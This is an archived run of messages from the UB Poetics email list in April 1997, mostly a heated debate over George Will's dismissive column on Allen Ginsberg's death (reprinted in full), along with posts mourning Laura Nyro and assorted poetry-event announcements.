Actually, as pig-headed as Will is, his piece on GinsbErg does attempt to locate the poet within the cultural market in which he participated. And his implication of Ginsberg as a culture industry cynosure is not entirely off the mark. Ginsberg was a cultural icon, a marketable commodity. I remember seeing huge billboards in San Francisco with Ginsberg's image selling Gap khaki pants. His warmth and affability also made him an attractive PR spokesman for a group of writers in the 50's. He attracted the kind of media attention Kerouac would have preferred to avoid. But promotion is, you know, how to stay in business. And poetry is still affected by a relentless economic structure. What's interesting, and what Will doesn't mention, is how the culture industry makes its own social subversion into a marketable commodity.

The other relevant moment in the article is when Will writes:

" When Ginsberg came to Columbia 'there was a vast throng that had been unable to get in. They pounded on the doors and milled around. Ticket-holders entered between lines of police.'

Today no poet could cause such excitement on any campus, or any other American venue, so complete has been the supplanting of words, written and spoken, by music and movies as preferred modes of communication."

This is a perfectly candid statement to hear as a poet, but the implication is that Ginsberg's writing is partially responisble for a deterioration in values which has made the market more open to the movies than poetry. Will doesn't follow up on this point, but I find it an important acknowledgement of poetry's inability to maintain prominence in a market Ginsberg condoned and benefitted from.

Anyway, the rest of Will's piece falls apart with the Kerouac quotes, (he couldn't find Ginsberg quotes?), which are out of place and confusing because, well, Will wants to say Ginsberg sucks, but he can't say 'sucks' in public. All of this leads me, however, to Maria Damon's statement about poetry and politics. How does one fight for social change and still survive as an individual in a corrupt economic system? How do the contradictions of political integrity and economic survival play out in the works of dedicated poets? The contradictory impulses in Ginsberg's life reveal the difficult position facing poets today. Somewhere, between our ideals and the necessity of the dollar, our lives and art are made.

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244. **dbkk**
Re: LAURA NYRO (one child born to carry on, etc....)
Thu 10 Apr 1997

It's Kevin Killian. I adored Laura Nyro. I remember my father coming to me, a broken man, knocking on the door of my room, and saying, "Kevin, we know you have a right to listen to whatever music you want, and you're 13 now, but your mother and I have agreed to buy you a car if you promise a) to get out of the house more and b) to surrender those Laura Nyro albums."

One of her records (or maybe it was the sleeve) was impressed with a strange haunting perfume. That scent put a spell on me.

↑ Index

245. **Pritchett,Pat**
Re: LAURA NYRO (one child born to carry
Thu 10 Apr 1997

According to the paper, she died of ovarian cancer. A sad loss, indeed.

Also in my paper today - did anyone else see this? - a column by the excerable George Will about Ginsberg which made me see red. What a perfect little shit Mr. Will is. Tom Mandel, you are in Washington. Would you please deliver him a way overdue "pop to the puss?"

From: Chris Stroffolino
To: POETICS

Subject: LAURA NYRO (one child born to carry on, etc....)
Date: Thursday, April 10, 1997 8:52AM

I just heard on the radio this morning that LAURA NYRO (who wrote "I swear there ain't no heaven and I pray there ain't no hell") died on tuesday at the age of 49..... Does anybody know anything about this? What she died of, etc? I'd appreciate any info....."And all I ask of dying is to go naturally...." ----------
chris stroffolino

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246. Daniel Bouchard
Will's column/ my reply
Thu 10 Apr 1997

George F. Will, symptomatic symbol of "the Reagan Revolution" and other malignancies to human existence, will die someday just like Allen Ginsberg. He once wrote of Ginsberg's death with a sneering condescension which proved to readers several things, among them 1) he never read Allen Ginsberg, and 2) he felt threatened by the very IDEA of Ginsberg's work.

George F. Will writes of Allen Ginsberg's life in market terms--that of being a "commodity." Confronted with the severe limitations of Will's intellect what is one to do? Will is a columnist who is paid well to write apologias for technocrats, thieves and murderers. Any person whose life work consisted of promoting peace and charity toward his fellows must by necessity be "the enemy." With a change in particulars, Will could have a written a similar column on the death of Christ--'that long-haired preaching radical got His just desserts!' To Ginsberg's credit however, he never claimed to be the Son of God (to my knowledge).

George F. Will, soldier of American Values, will be forgotten a month after his death.

Allen Ginsberg's poetry will live and grow
in the heart's of readers.

Fuck George F. Will.

[redacted]

The Ginsberg Commodity

By George F. Will

Wednesday, April 9 1997; Page A21
The Washington Post

Allen Ginsberg, symptomatic symbol of the "beat generation" and other intellectual fads, died last Saturday at age 70. He once wrote, "I'm so lucky to be nutty." Actually, his pose of paranoia was not luck, it was a sound career move.

It became big box office with his famous declamation of his poem "Howl" in San Francisco in 1955. That was the year "Rock Around the Clock," in the soundtrack to the movie "The Blackboard Jungle," helped launch what was to become the third element in the trinity of '60s ecstasies -- sex, drugs and rock-and-roll. Ginsberg made the first two his projects. He composed "Howl" with the help of a cocktail of peyote, amphetamines and Dexedrine.

Thirty years later his reward for a career of execrating American values and works was a six-figure contract for a volume of his collected poetry. It is a distinctive American genius, this ability to transmute attempted subversion into a marketable commodity.

The adjective "beat" was appropriated by Jack Kerouac from a drug-addicted Times Square thief and male prostitute, who meant by it the condition of being exhausted by existence. (That man's existence must have been wearying.) Kerouac attached the adjective to the noun "generation," emulating Gertrude Stein's identification of the "lost generation" of the 1920s. Soon Life magazine, happy to find some titillating unhappiness in a decade defined by Eisenhower's smile, was writing about the beats as "The Only Revolution Around." That's entertainment.

Back then, poetry commanded crowds. In his book "When the Going Was Good: American Life in the 1950s," Jeffrey Hart, now a professor of English at Dartmouth, wrote:

"Robert Frost strode onto the stage at Carnegie Hall to a standing ovation from an overflow

house. . . . One night in 1957, T. S. Eliot was reading his poems to an overflow audience in
Columbia's McMillin Theater. Even faculty members had difficulty getting tickets, and people
were crowded into the windows and doors, and listening outside to Eliot over loudspeakers. .
. . Dylan Thomas stood at the podium . . . his third American tour in two years."

When Ginsberg came to Columbia "there was a vast throng that had been unable to get in.
They pounded on the doors and milled around. Ticket-holders entered between lines of
police."

Today no poet could cause such excitement on any campus, or any other American venue, so
complete has been the supplanting of words, written and spoken, by music and movies as
preferred modes of communication. One of Ginsberg's young acolytes, Robert Zimmerman of
Hibbing, Minn., put the dissenting impulse to music as Bob Dylan.

Some beats wrote the way some jazz musicians made music, in the heat of chemically assisted
improvisation. Truman Capote's famous dismissal of Kerouac's work -- "That isn't writing at
all, it's typing" -- had a point. Granted, Kerouac revised "On the Road" for six years before it
was published in 1957. However, fueled by Benzedrine, he wrote the first draft of that novel
in 1951 in less than three weeks, as one long single-spaced paragraph -- 120 feet long on
12-foot strips of tracing paper taped together. Here is its beginning:

"I first met Dean not long after my wife and I split up. I had just gotten over a serious illness
that I won't bother to talk about, except that it had something to do with the miserably weary
split-up and my feeling that everything was dead."

Does that tone of voice seem familiar? Here is the beginning of a novel published in 1951, the year of Kerouac's typing frenzy:

"If you really want to hear about it, the first thing you'll probably want to know is where I was born, and what my lousy childhood was like, and how my parents were occupied and all before they had me, and all that David Copperfield kind of crap, but I don't feel like going into it, if you want to know the truth."

Yes, "The Catcher in the Rye." Holden Caulfield, adolescent scold, strong in disapproving "phonies," was a precursor of the beats with their passion for "authenticity," which to Ginsberg meant howling echoes of whatever constituted coffeehouse radicalism of the moment. ("Slaves of Plastic! . . . Striped tie addicts! . . . Whiskey freaks bombed out on 530 billion cigarettes a year. . . . Steak swallowers zonked on Television!") With a talent that rarely rose to mediocrity, but with a flair for vulgar exhibitionism, Ginsberg shrewdly advertised his persona as a symptom of a dysfunctional society. He died full of honors, including a front-page (and a full page inside) obituary in the New York Times, a symptom to the end.

↑ Index

247. Charles Bernstein

Re: LAURA NYRO (one child born to carry on, etc....)

Thu 10 Apr 1997

Gee, my parents thought I should get out of the house more too! Nyro is being played quite a bit on the radio here in New York City, and especially WFUV; the NYTimes obituary is pretty good. As for that perfume, I checked and there is no trace left on my copy of "Eli and the Thirteenth Confession". The absence of this aroma has conjured for me many blank memories.

> *It's Kevin Killian. I adored Laura Nyro. I remember my father coming to me, a broken man, knocking on the door of my room, and saying, "Kevin, we know you have a right to listen to whatever music you want, and you're 13 now, but your mother and I have agreed to buy you a car if you promise a) to get out of the house more and b) to surrender those Laura Nyro albums."*

> *One of her records (or maybe it was the sleeve) was impressed with a strange haunting perfume. That scent put a spell on me.*

↑ Index

248. **Gwyn McVay**
Re: Will's column/ my reply
Thu 10 Apr 1997

If you recall, Will also dissed Jerry Garcia upon his death in 1995. Will seems to enjoy the rhetorical stance of taking potshots at overweight bearded near-sighted dead guys.

(Or maybe it's counterculture heroes who have stayed heroes? nah--)

Gwyn

↑ Index

249. **Maria Damon**
Re: Will's column/ my reply
Thu 10 Apr 1997

At 12:25 PM -0400 4/10/97, Daniel Bouchard wrote:
  To Ginsberg's credit however,
>he never claimed to be the Son of God (to my knowledge).
>
he should have. (tho no more so than anyone else)

the will article is indeed one of the meanest-spirited, pointless wastes of print space i've ever seen.--md

↑ Index

250. **Mark Weiss**
(no subject)
Thu 10 Apr 1997

Thanks, I guess, for the George Will piece.

Indulge me while I say what may be obvious. This is not really about Allen--it's about Allen as symbol for all of the unsettling things that happened in the six-ties, with its "trinity of...ecstasies--sex, drugs and rock-and-roll," that caused the "decade defined by Eisenhower's smile" to unravel. It's Will's grand theme, and the grand theme of a lot of conservatives, who ascribe everything that they dis-like in America to excessive license, of which anything improvisatory, be it jazz, or Allen's poetry, or _On the Road_, is an example.

The intent of the reference to _Catcher in the Rye_ may be opaque to some list members. It's the type case of what went wrong from the point of view of Wills and his like. Not only did it suggest that there might be something wrong with "the decade typified by Eisenhower's smile," filled with "titillating unhappiness" (that rare commodity back then) as it is, but it exposes to the public at large that adolescents (surprise!) are obsessed with sex. And there's a dirty word in it, which was a very rare phenomenon back then, when the postal service often effectively acted as censor by refusing to ship books it found offensive. It was banned from libraries and schools, and teachers got in trouble for assigning it to their classes.

Catcher in the Rye, like _Howl_ and _On the Road_, were nails in the coffin for the peaceable kingdom as imagined by Wills and company. After their appearance license was abroad in the land: peopled dressed in ways that blurred class and gender distinction, they engaged in civil and not-so-civil disobedience, they had no respect for authority, and they had fun. Sexuality of all kinds came out of the closet, and sublimation as an ideal went out the window.

For those who don't remember, Freud had the odd notion that no learning could happen unless the student repressed all sexuality--something like the the idea of a limited life-energy that needs to be husbanded. (The need for this repression was limited, of course, to the middle and upper classes--the working class, which was the vast majority in his day, could, and did, wallow like beasts as much as they wished, in his view.) American conservatives are scandalized by Freud--you mean children are sexual? parents think those things?--but they find the notion of sublimation comforting.

But I digress. If only the media had been more responsible, by not publishing the offending books, and certainly by not publicizing them, none of the bad things would have happened. But they were published, and the bad things did happen. And conservative idealogues have been trying to undo the damage by rewriting history ever since.

Saddest in Will's piece is his inability to read the words with pleasure. Poor George learned from the Jesuits to appreciate certain rhetorical structures. Somehow he got the idea that those structures were the only ones permitted; I don't think that that's the intent of Jesuit education.

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251. **Maria Damon**
MacLow piece
Thu 10 Apr 1997

hey guyzies a few weeks ago someone posted a piece by jackson mac low on the list about form/etc that i sem to have deleted. i need it by tonite!!! cd someone repost it please, backchannel, to moi? infiniment gratefullll!!!md

↑ Index

252. **Pritchett,Pat**
Re: Will's column/ my reply
Thu 10 Apr 1997

Daniel, that is beautifully, forcifully said. Will's outrageous assault should not go without a public response. I intend to write him personally and I suggest others do the same. For all the difference it will make. Still, better to speak out then mutter in one's room.

Patrick Pritchett

From: Daniel Bouchard
To: POETICS
Subject: Will's column/ my reply
Date: Thursday, April 10, 1997 12:15PM

George F. Will, symptomatic symbol of "the Reagan Revolution" and other malignancies to human existence, will die someday just like Allen Ginsberg. He once wrote of Ginsberg's death with a sneering condescension which proved to readers several things, among them 1) he never read Allen Ginsberg, and 2) he felt threatened by the very IDEA of Ginsberg's work.

George F. Will writes of Allen Ginsberg's life in market terms--that of being a "commodity." Confronted with the severe limitations of Will's intellect what is one to do? Will is a columnist who is paid well to write apologias for technocrats, thieves and murderers. Any person whose life work consisted of promoting peace and charity toward his fellows must by necessity be "the enemy." With a change in particulars, Will could have a written a similar column on the death of Christ--'that long-haired preaching radical got His just desserts!' To Ginsberg's credit however, he never claimed to be the Son of God (to my knowledge).

George F. Will, soldier of American Values, will be forgotten a month after his death.

Allen Ginsberg's poetry will live and grow
in the heart's of readers.

Fuck George F. Will.

[redacted]

↑ Index

253. Aldon L. Nielsen
Re: The Will of King George
Thu 10 Apr 1997

One unforgettable moment in "The Life and Times of Allen Ginsberg" is the footage from a Ginsberg appearance on Firing Line as Buckley pronounces Ginsberg "politically naive." Will, of course, got his start as a protege of Buckley (remember the YAF of yore?), and might be presumed to represent what somebody wants us to think of as politcally sophisticated -- Always easier to sneer at that which one has not read carefully --

But there's another moment in the old Buckley show, following Ginsberg's reading of "Wales Visitation," when Buckley, I think sincerely, admits to liking the poem he has just heard (and we can posit all sorts of reasons rooted in Romanticism and the lyric for why that might have happened) --

Not to defend Buckley or to prefer him over Will by any means -- point is, that even that thin veneer of responsiveness to intellect has been stripped from today's "politcal sophistication."

and can somebody give me a citation for the Will piece so that I can read it?

↑ Index

254. Michael Magee
Re: Will's column/ my reply
Thu 10 Apr 1997

George Will, fuck you with your News Week column.
George Will, will you for chrissake, stop talking about baseball
on Meet the Press - I don't think you've ever
picked up a baseball.
George Will, you're like Ted Koppel's puny younger brother, both of you
part of a profoundly uninteresting yet somehow still annoying
family down the street.
George Will, you're hair cut looks like Himmler's haircut.
George Will, I would like to compare to Heinrich Himmler but its just
the haircut, and, I suppose, vaguely, the politics - perhaps
you were both sycophants to disastrously stupid world leaders,
yes, ok, you're like a very, very small Himmler.
George Will, you are idiot-corporate-right yin to Sam Donaldson's

pretend-left yang.
George Will, I won't even dignify you by asking you when you will be
angelic.
George Will, Ginsberg loved America which is why he gave it
seventy-three lines of complaint.
George Will, this is it for you, you get nine lines, more than your worth
and I wouldn't put my queer shoulder to you if you were
the last pastey-faced, mush-ball conservative in the bar.

↑ Index

255. **maz881**
orbit
Thu 10 Apr 1997

---

where are the foci to a typical comet's orbit? i think i remember that ellipses have two centers. why is a comet's orbit stable yet so exageratedly non circular? Is the sun one focus? if so, what is the other one?

(i guess i don't have trouble understanding the slightly elliptical orbits of the planets nearby because i can imagine the sun as spead out into two foci.)

Bill

↑ Index

256. **michael corbin**
Re: Will's column/ my reply
Thu 10 Apr 1997

Daniel Bouchard wrote:

> *Fuck George F. Will.*

Yes; Will's bollixed thinking damns commodification of the world; condemns the poet for *producing*(!) commodifiable 'dysfunction' (sic); does so with a sublimated ken for A-BETTER-TIME (perhaps pre-60s, but in any event the proverbial floating signifyer); *and* does all this while performing his usual role as apologete of capital, plutocracy, and the aesthetics of stupefaction.

herehere, fuck him.

mc

↑ Index

257. **acgold01**
Doug Messerli's e-address
Thu 10 Apr 1997

Alan Golding
Prof. of English, Univ. of Louisville
[redacted]; [redacted]

Doug (Messerli)--Could you please back-channel me with your e-address? Thanks.

Alan

And the customary apologies for using public space on private queries . . . som etimes there seems no other way . . .

↑ Index

258. **George Bowering**
Re: The Don Allan Anthology
Thu 10 Apr 1997

> *Come on, George, the allusion was to the Don Allan Anthology, you know, the one with John Ashberry in it, and Robert Creely, and Charles Olsen, and Denise Leverton. bd.*

Thanks, Bromide, I needed that reminder.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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259. **George Bowering**
Re: LAURA NYRO (one child born to carry on, etc....)
Thu 10 Apr 1997

> *I just heard on the radio this morning that LAURA NYRO (who wrote "I swear there ain't no heaven and I pray there ain't no hell") died on tuesday at the age of 49.....*
> *Does anybody know anything about this? What she died of, etc?*
> *I'd appreciate any info....."And all I ask of dying is to go naturally...."*
> *----------chris stroffolino*

I read that it had something to do with ovarian cancer. That was in the second paragraph of the Vancouver _Sun_ obit, anyway, but I didnt read past that.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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260. Mainstream
conference
Thu 10 Apr 1997

---------- Forwarded Message ----------

From: INTERNET:[redacted], INTERNET:[redacted]
TO: Me, Cadbury
DATE: 10/04/97 13:23

RE: conference

id NAA07708; Thu, 10 Apr 1997 13:07:24 -0400
From: <[redacted]>
<[redacted]>; Thu, 10 Apr 1997 12:53:04 BST
Date: 10 Apr 1997 12:53:04 -0300 (BST)
Subject: conference
To: [redacted]

Dear mr Upton, I want to let you know about a
forthcoming conference on Irish experimental
poetry which will take place in University
College Cork on April 26, in venue W9.It
will start at 10.30 and will finish at 6.30.
It will be a mix of poetry readings and
academic papers given Trevor Joyce,
Geoffrey Squires, Catherine Walsh, Maurice
Scully, Billy Mills to name a few. The aim
of the conference is to celebrate the 30th
anniversary of New Writers Press, it is also
significant in that it is the first of its
kind ever to be held in this country.I am
giving you this information because I was

told that you advertise arts events on the internet. We would appreciate it if you would advertise this notice and if you require any more information, please contact me at my e-mail address which is listed above. Thankyou,Yours, Catriona Ryan.

↑ Index

261. **Mark Weiss**

Re: Will's column/ my reply

Thu 10 Apr 1997

Actually, I don't think that these were contradictory impulses for Allen. He took as his project witnessing the external as well as the internal; as a result reactions to the larger sphere just naturally get expressed in his work. And I certainly see no evidence in the work that Allen, consumate self-promoter that he was, ever censored so much as a comma to make a buck. Incidentally, you would think from Will's piece that Allen had faked his public stances and his poetry in order to prosper, and that he had succeeded in doing so from the late 50s on. I remember some years ago reading a survey of the economics of being a poet. At the time Allen was the only poet in America who claimed to support himself as a poet. His income that year was 12 grand, on which he supported himself and quite a few others in the scant luxury that the East Village afforded before the yuppies arrived. It wasn't until relatively late in his life, when he began teaching regularly (and his W2 no longer said "poet") that he made a middleclass income. And the book contract for the collected came very late in his life.

How does one fight for social change and still survive as an
>individual in a corrupt economic system? How do the contradictions of
>political integrity and economic survival play out in the works of
>dedicated poets? The contradictory impulses in Ginsberg's life reveal the
>difficult position facing poets today. Somewhere, between our ideals and
>the necessity of the dollar, our lives and art are made.
>
>

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262. **Maria Damon (Maria Damon)**
Re: allen g. the millionaire
Thu 10 Apr 1997

At 8:30 AM 4/11/97, [redacted] wrote:
>well, the thing is, allen was never a millionaire. when he got money from
>stanford for his archives he had enough to finally get a place on the lower
>east side with elevator access for himself and his step-mother. and he
>immediately went out and bought some salvation army couches to furnish the
>place. the money that allen made as a poet always went back into the
>community-- he kept a lot of poets and artists from living on the street.
>yours, lisa

thanks lisa: this ressentiment of someone who's gotten famous and made enough $ at 70 to finally live with half the luxury that many of us (who teach, for example) take for granted is most unseemly. not that we can't ask questions about commodification and compromise, but the edge of bad faith that can creep in (bigtime, in george will's case, for example) is very distasteful and distracting.--md

↑ Index

263. **sschu30844**
Re: Will's column/ my reply
Thu 10 Apr 1997

I haven't read the Ginsberg piece by George Will, but I am looking forward to reading it with and against his recent defense of the Baltimore Orioles' Roberto Alomar (as I recall, Will proposed to his second wife at home plate--my god!--in Camden Yards) for spitting on the umpire last season. Will goes out of his way to attack umpires in this piece and to defend Alomar. Apparently, Will is a non-paid member of the Baltimore Orioles' board. Which leads me to my modest proposal: why not put the man on the poetics list and conflict his interests a bit?

Susan
(whose Cards are off to their worst start in history)

↑ Index

264. **Alan Jen Sondheim**
John Barton Wolgamot
Thu 10 Apr 1997

What ever happened to JBW? To the JBW Society?

Alan

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR: http://www.anu.edu.au/english/index.html TELEPHONE [redacted] IMAGES: http://www.cs.unca.edu/~davidson/pix/ CUSEEME 166.84.250.149 ADDRESS: 432 Dean St., Brooklyn, NY, USA, 11217 Editor, BEING ON LINE

↑ Index

265. **Dale Smith**

Re: Will's column/ my reply

Fri 11 Apr 1997

Kent:

My impulse for writing in response to Will's article had to do with the recurring "fuck-you" posts which I find stupid and irresponsible. Will's article is grossly unfair, if not evil and pernicious, but telling Will to fuck himself behind his back, or not, simply confirms his belief in the poverty of cultural values today. So I picked up scant points of his which seemed appropriate and acknowledged that much of the rest of the article had no value at all. As for your questions:

"Just one question to throw out as first thought, though not necessarily the better one: this "cultural market" that you charge Ginsbuerg as being complicit in--where do you see its, as they say, horizon? Did Ginsbeurg, in other words, step over some kind of threshold that you and I (cleaner in life than him) haven't? What is the qualitative differuence, as you see it, between choosing to buy Gap pants and posing in them? And when we, for example, choose to polemicize on this list, are we not engaging in a gesture that is as fully inscribed in the cultural market as Ginsbuerg's marketing of his image? I know, I know, you talk about the "gap" between ideals and necessity, and you seem to grant that we all inhabit that and must necessarily negotiate, but isn't it a bit too easy for "uncommodified" poets to criticize across the gap between life and death, and say that the dead guy sold out when we haven't, even though you acknowledge that we've all sold out, inevitably, a little bit?"

Ginsberg didn't step through any threshold. There is no threshold, as far as I can tell. We're all implicated in cultural and economic market practices. Whether posing for Gap pants or wearing them makes no difference. But if you endorse a certain product while simultaneously engaging in social activism, then the irony of that position will be noticed, whether it's right or wrong. Will's article pointed out this contradiction in a cultural industry Will, Ginsberg, myself-anyone who writes-is a part of. This position is magnified with Ginsberg, however, so he's an easy target for people like Will who act as if they are themselves beyond reproach. And, by the way, I never said Ginsberg sold out and I don't even think I implied it, and if I did, well, that's my fault as a critical writer.

And I'm sad he's dead but his death is the occasion for such moments as these and I think as much meaning should be milked from debate rather than saturating ourselves only with warm platitudes.

"Aren't all of us (each of us, including you with your careful post) also, at least in portion, marketing an image here? (I mean Dale Smith, upping those guys and gals who are oblivious to their chiselled engravings within the poetry money market, but not Dale, who sees the gap between ideals and necessity, and thus has the banked- track on freedom. voom.)"

I guess e-mail posts could be viewed as "marketing an image" rather than provoking debate. Touché. I'm not trying to "up" anybody. The occasion of my post was, again, George Will's unflattering and unjust article on Ginsberg's death. With the same amount of fame I'm sure many of us, self included, would be held up for critical scrutiny, just and unjust alike.

"I would like my posts to contribute, little by little, to a great poetry job somewhere, or to being invited to the party I never get invited to, to having an even modest cultural status I haven't yet had, to be thought of as a list insider who is known to be an insider by those who aren't. There, I said it! (And why, exactly, does it mildly startle every single one of you who just read this that I said this?)"

Hey, the above sounds good to me too, except the part about being a "list insider," whatever that means.

"I am wearing Gap pants right now as I write, and whatever you are or aren't wearing Dale, you are, by reading this, between your ideals and the necessity of the dollar, being called on by Ginsbuerg, in his koan-billboard, to think a little more deeply about your own critical certainties. Again,this is first, quick thought. One I may well regret, post-partum, as I think Rachel Loden perceptively put it a week or so ago."

Actually, I'm wearing a burlap sack and beating myself with a stick.

"but thanks for provoking..."

No problem.

↑ Index

266. **cris cheek**
Re: Bromide's 'honky commas'
Fri 11 Apr 1997

Hi db,

* hereabouts these are blinks

black and white blinded by the light traffic

* their colors are subjects of overinterpretation / implied

as in 'honky commas'

or * comas

or * come as you are

love and love
cris

↑ Index

267. **Charles Alexander**
possibility?
Fri 11 Apr 1997

If anyone is interested in coming to Tucson --

I just heard of a small casita (although big enough to be a one-bedroom apt. w/ small art studio) which has just become available and is for rent for only $250/month. It's in the middle of South Tucson, which isn't everybody's favorite part of town, but it's on the same property as some of my favorite people in all of Tucson -- Alex Garza, sculptor, who directs a program in which "at risk" teenagers make public art, mostly mosaic murals; and his spouse, Yolanda Galvan, a visual artist/illustrator who works at an organization called Southwest Parks & Monuments.

And if anyone is REALLY interested, it might be a good way to become a Chax Press intern/apprentice for several months (or more) on a parttime basis, working on handmade book projects and press administrative work, have a very inexpensive place to live with room for one's own art studio or writing studio, and still have plenty of time to find another job which would more than pay the rent.

Yes, it's all a bit complicated, but I thought I'd mention it.

Charles Alexander

charles alexander / chax press / [redacted]

↑ Index

268. **henry**
Re: Will's column/ my reply
Fri 11 Apr 1997

---

it's called "stomping on your enemy's grave". Usually the living dead are specially hired for that purpose.

- Henry G.

↑ Index

269. **henry**
Re: orbit
Fri 11 Apr 1997

---

is this another orbituary?

George Will, will you please george up.
George Will, your motha was a car salesman for the Edsel when Allen Ginsberg was a protege of a potato.
George Will, Shake your brocolli experiment offa my check-out line.
George Will, hey, do you like MY poem? Huh? What the...

- Jack Spandrift

Jack's new CD, "Cowboys Rain Cowshit on the Plain" is available (in Spain only) from Teatro Bouncayore Czech Productions, El Raygonner, Wyo. Send money now.

↑ Index

270. **linda v. russo**
Re: The Don Allan Anthology
Fri 11 Apr 1997

To the Mr.'s Bromige, Alexander, Johnson & Bowering (not to make you sound like a law firm or anything):

thanks for the words -- now that i look at it, it doesn't
look quite right with a 'u'. I'm usually much more
adroit & academic in checking these things. I do wonder
though abt. the vitriol? (maria damon where are you?!)
I can't consciously recall such copyediting in the 6 long
months or so i've been a member on the list. -- l.

> Come on, George, the allusion was to the Don Allan Anthology, you know, the
> one with John Ashberry in it, and Robert Creely, and Charles Olsen, and
> Denise Leverton. bd.
>
>
--
linda v. russo
[redacted]

↑ Index

271. David Bromige
The Don Allan Apology
Fri 11 Apr 1997

I have already apologized to Linda Russo back-channel for whatever vitriol exists in my joke-posting (Allan, Creely, Olsen, Leverton). I explained to her that when at play with Mr.Bowering, I can get carried away, and that I was joshing h i m , neglectful of the fact that like it or not I was also tweaking her. I even suggested she post in to "Mr.Bromide and Mr.Boring" thanking them for their "correction". She was too nice to do so, but by an odd coincidence, Mr. B himself addressed me on the list as the one, and there I was with a snappy comeback, the other, ready to hand. Indeed, as Adorno observed, names are frozen laughter, and the displacement of a single letter can release it. This makes typos in names stick out further than typos in other words, and may explain the energy Linda Russo's "GinsbUrg" has drawn. db

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272. jarnot
allen g. the millionaire
Fri 11 Apr 1997

well, the thing is, allen was never a millionaire. when he got money from stanford for his archives he had enough to finally get a place on the lower east side with elevator access for himself and his step-mother. and he immediately went out and bought some salvation army couches to furnish the place. the money that allen made as a poet always went back into the community-- he kept a lot of poets and artists from living on the street. yours, lisa

↑ Index

273. Michael Magee
Ginsberg and the Gap
Fri 11 Apr 1997

For what it's worth, I once, as a beginning grad student not knowing my place, asked Ginsberg about the Gap Ad (even going so far as to remind him that the Gap was utterly complicit in the Asian child-labor catastrophes which were prominent in the news at the time). To his credit, he didn't duck the question. He said he had a good deal of doubt about his decision, that he had rejected the Gap many times, but had, the last time, decided that donating the money (I think to Naropa?) would do more good than harm. He then went on to a talk about his complicity in the marketplace, a monologue not unlike the dialogue we've been having about AG & capitalism.

-Mike.

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274. Charles Bernstein
New York City Poetry Calendar
Fri 11 Apr 1997

The New York City Poetry Calendar is now on-line:

http://www.nynow.com/poetry/

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275. Hank Lazer
Re: AG & the columnists
Fri 11 Apr 1997

If you think that the Will version of Ginsberg was lame, see today's column by Paul Ginsburg (a columnist via Arkansas, whose columns appear in places like The Tuscaloosa News, a NY Times owned newspaper). PG's claim (which I read hastily & angrily early this morning) is that AG is a personality but NOT A POET. That AG's poems aren't really poetry. That interest in AG's poetry is symptomatic of "our" swerve away from "real" "great" poetry. That AG's poetry will soon fade from view, and then "we" can return to reading truly "great" poetry again. Makes me uncertain: scream, or barf. Of course, much of AG's poetry stems from prior examples of what I think of as "poetry": Blake, Whitman, and the Prophets of the Old Testament. I hope others on the List run across PG's column....

Hank Lazer

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276. Jerry McGuire
searching
Fri 11 Apr 1997

Can anyone provide info on interviews with or articles about Michael Franti, hiphop/performance poet? (My knowledge so scarce right now that Franti may be anything _but_ a hiphop/performance poet.)

And as to Laura Nyro: I was dropping acid weekly as a member of _your_ US Air Force (sleep well tonight . . .) when she first sang those wrenching things that were prettified by the cover artists mentioned above (and "covering" rarely seemed like such a blanket job). Down by the grapevine . . .

I was at Denver, too, and found those large, lumpy, pointed earth constructions on the horizon an interesting variation from the daily experience of bayou life. The grad students were mountain-water-sweet and industrious beyond any reasonable expectation, the panels, though crowded together, made good space for non-traditional approaches to the metatextual metissage, and a fair mix of dispositions got to crow and strut, not too obnoxiously. I agree that Graff felt a little underprepared (yet over-rehearsed) in delivering his plea for "conversation" between theory types and C.W. types (I was the guy who said that it might be more productive to continue the present spectrum of relations from sleeping together to contempt (can't we all just not get along?). As to Marjorie Perloff, I thought the presentation on "Yasusada" was just the kind of thing to send most of us crawling back to our departments with our scholarly tails between our critical legs; but its conclusion--that all the goofy phenomena of publication and appreciation surrounding those texts could somehow be attributed to (and _blamed on_, if you think the whole business was somehow distasteful) "Identity Theory" seemed a leap-and-a-half: no self-respecting postcolonial practitioner, for instance, would have slept through the signs of bogusness (or alibied her/his way around not having done some fact-checking) that Perloff held to be at issue. Can't we all just leave each other the hell alone?

And now I find my head hurting a little from all the G_Will, inc., stuff, as if hacking at (up?) his "prose" somehow could ease the etc. And of course, for some it can. Do keep in mind his lifelong difficulty, though (innate? learned?), at parsing lyric thought into anything but the, uh, categories of daily columnar preachifyin'-to-the-converted: remember his o'er-hasty embrace of that ringing celebration of Deep American Virtu, "Born in the USA." Or, really now, is this just a headachey way of iterating a replicant fuck you?

Yrs,

Jerry McGuire

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277. Charles Bernstein
Re: Ginsberg and the Gap
Fri 11 Apr 1997

If you look at that ad, in tiny type running vertically on the side, it does say that the proceeds from the use of the photo have been donated to Naropa. Since I have always believe the smallest type in an ad is the most important I appreciated this bit of counter-information. There was nothing similar in the other Gap ads in the series.

> *He said he had a good deal of doubt about his*
> *decision, that he had rejected the Gap many times, but had, the last time,*

> *decided that donating the money (I think to Naropa?) would do more good than harm.*

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278. Piombino/Simon
Planned Parenthood Benefit Reading
Fri 11 Apr 1997

FYI
Corinne Robins, Liz Fodaski and Nick Piombino will be reading on Friday, April 25, 7:30 p.m., $7 (contribution) at
Poets For Choice/ Ceres Gallery
584 Broadway, Suite 306, [redacted]
All invited to reception afterwards

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279. Pritchett,Pat
Re: allen g. the millionaire
Fri 11 Apr 1997

Yes and perhaps this has been mentioned already but as I recall the money from the Gap ads was donated to some or other cause, Tibetan Buddhists in exile I believe.

Patrick Pritchett

From: jarnot
To: POETICS
Subject: allen g. the millionaire
Date: Friday, April 11, 1997 9:15AM

well, the thing is, allen was never a millionaire. when he got money from stanford for his archives he had enough to finally get a place on the lower east side with elevator access for himself and his step-mother. and he immediately went out and bought some salvation army couches to furnish the place. the money that allen made as a poet always went back into the community-- he kept a lot of poets and artists from living on the street. yours, lisa

↑ Index

280. **KENT JOHNSON**

Re: Will's column/ my reply

Fri 11 Apr 1997

Speaking of this image/commodity thing, there's a passage from Michael Palmer's last book that seems to connect, though I'm baffled as to precisely how. That would be the point, I guess. How to read this? It makes me jealous: I wish I would have thought of it for my death poem.

> "I too have an image for sale.
> It is the image of a poem."

Kent

> *Date sent: Fri, 11 Apr 1997 10:13:58 +0100*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Dale Smith <[redacted]>*
